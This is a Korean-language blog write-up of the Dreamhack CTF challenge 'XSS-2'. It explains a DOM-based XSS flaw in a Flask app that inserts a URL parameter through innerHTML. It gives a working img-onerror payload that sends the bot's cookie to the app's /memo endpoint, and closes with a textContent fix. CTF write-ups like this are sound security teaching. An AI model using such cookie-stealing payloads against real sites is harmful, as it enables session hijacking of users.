CTF

XSS - 2

whffu0123 2026. 5. 27. 13:28

Write-up: XSS-2 (Dreamhack)

문제 개요

Flask로 작성된 웹 서버에서 DOM 기반 XSS 취약점을 이용해 봇의 쿠키에 저장된 FLAG를 탈취하는 문제. XSS-1과 목표는 같지만, /vuln의 출력 방식이 달라져 <script> 태그를 사용할 수 없다.


엔드포인트 분석

/vuln — XSS 발생 지점 (DOM 기반)

@app.route("/vuln")
def vuln():
    return render_template("vuln.html")
<!-- vuln.html -->
<script>
  var x = new URLSearchParams(location.search);
  document.getElementById('vuln').innerHTML = x.get('param');
</script>
  • render_template() 사용으로 서버 사이드 XSS는 차단됨
  • 그러나 innerHTML로 URL 파라미터를 DOM에 직접 삽입 → DOM 기반 XSS 발생
  • innerHTML은 <script> 태그 실행을 막지만, 이벤트 핸들러(onerror, onload 등)는 실행됨

/memo — 쿠키 수신 저장소

memo_text = ""

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)
  • GET 파라미터로 받은 값을 서버 전역 변수에 누적 저장
  • 탈취한 쿠키를 기록하는 용도로 활용

/flag — 공격 트리거

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'
        return '<script>alert("good");history.go(-1);</script>'
  • POST 요청 시 입력한 param과 함께 FLAG 쿠키를 가진 봇이 /vuln을 방문
  • XSS-1과 동일한 흐름

취약점 분석

XSS-1과의 차이점

항목 XSS-1 XSS-2

/vuln 출력 방식 return param (날것 반환) innerHTML로 DOM 삽입
XSS 종류 Reflected XSS DOM 기반 XSS
<script> 태그 실행됨 실행 안 됨
우회 방법 불필요 이벤트 핸들러 사용

innerHTML과 <script> 태그

// innerHTML로 script 삽입 시
element.innerHTML = "<script>alert(1)</script>"
// → 브라우저 보안 정책으로 실행 차단됨

// 이벤트 핸들러는 실행됨
element.innerHTML = "<img src=x onerror=alert(1)>"
// → img 로드 실패 → onerror 이벤트 발생 → JS 실행

왜 /memo를 사용하나?

봇의 쿠키 도메인이 127.0.0.1로 설정되어 있어 외부 서버(Request Bin)로 쿠키가 전달되지 않을 수 있다. 같은 서버 내부의 /memo 엔드포인트를 이용하면 안정적으로 쿠키를 전달할 수 있다.


공격 흐름

1. /flag 에 XSS 페이로드 제출 (param)
         ↓
2. 봇이 FLAG 쿠키를 들고 /vuln?param=<페이로드> 방문
         ↓
3. vuln.html의 innerHTML이 페이로드를 DOM에 삽입
         ↓
4. img 로드 실패 → onerror 이벤트 발생 → JS 실행
         ↓
5. document.cookie(FLAG)를 /memo 로 전송
         ↓
6. /memo 접속 → FLAG 확인

익스플로잇

페이로드

<img src="XSS-2" onerror="location.href='/memo?memo='+document.cookie">

동작 원리

  1. <img src="XSS-2"> — "XSS-2" 라는 이미지는 존재하지 않음
  2. 이미지 로드 실패 → onerror 이벤트 발생
  3. location.href='/memo?memo='+document.cookie 실행
  4. 봇의 FLAG 쿠키가 /memo에 GET 파라미터로 전달됨
  5. /memo 접속 시 FLAG 확인 가능

제출 위치

http://host8.dreamhack.games:9138/flag → param 입력창에 페이로드 입력 후 제출

FLAG 확인 위치

http://host8.dreamhack.games:9138/memo

FLAG

 

memo 에서 flag 확인


핵심 교훈

  • render_template()을 써도 템플릿 내부에서 innerHTML로 입력값을 삽입하면 DOM 기반 XSS가 발생한다
  • innerHTML은 <script> 실행을 막지만 onerror, onload 같은 이벤트 핸들러는 막지 못한다
  • 봇의 쿠키 도메인 제한으로 외부 서버 대신 내부 /memo 엔드포인트를 활용했다
  • 사용자 입력은 innerHTML 대신 textContent나 innerText를 써야 안전하다

XSS-1 vs XSS-2 최종 비교

XSS-1 XSS-2

취약점 위치 서버 사이드 클라이언트 사이드 (DOM)
페이로드 태그 <script> <img onerror>
쿠키 전송 외부 Request Bin 내부 /memo
핵심 원인 입력값 날것 반환 innerHTML에 입력값 삽입

'CTF' 카테고리의 다른 글

Mango  (0) 2026.06.01
Simple SQLi  (0) 2026.05.29
CSRF - 2  (0) 2026.05.27
CSRF - 1  (0) 2026.05.27
XSS - 1  (0) 2026.05.27